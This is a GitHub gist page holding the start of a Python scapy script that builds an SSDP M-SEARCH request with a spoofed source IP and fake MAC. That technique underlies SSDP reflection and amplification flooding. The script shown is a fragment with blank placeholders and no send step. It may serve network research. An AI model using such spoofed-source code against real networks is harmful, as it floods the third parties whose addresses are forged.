Skip to content

Instantly share code, notes, and snippets.

View whokilleddb's full-sized avatar
💭
Helping to make open source a tad bit more secure

whokilleddb whokilleddb

💭
Helping to make open source a tad bit more secure
View GitHub Profile
@jjsantanna
jjsantanna / spoofed_ssdp_request.py
Last active January 13, 2023 12:52
Spoofed SSDP request using scapy
from scapy.all import *
fake_mac=""
spoofedIPsrc=""
SSDPserver=""
payload = "M-SEARCH * HTTP/1.1\r\n" \
"HOST:"+SSDPserver+":1900\r\n" \
"ST:upnp:rootdevice\r\n" \
"MAN: \"ssdp:discover\"\r\n" \
"MX:2\r\n\r\n"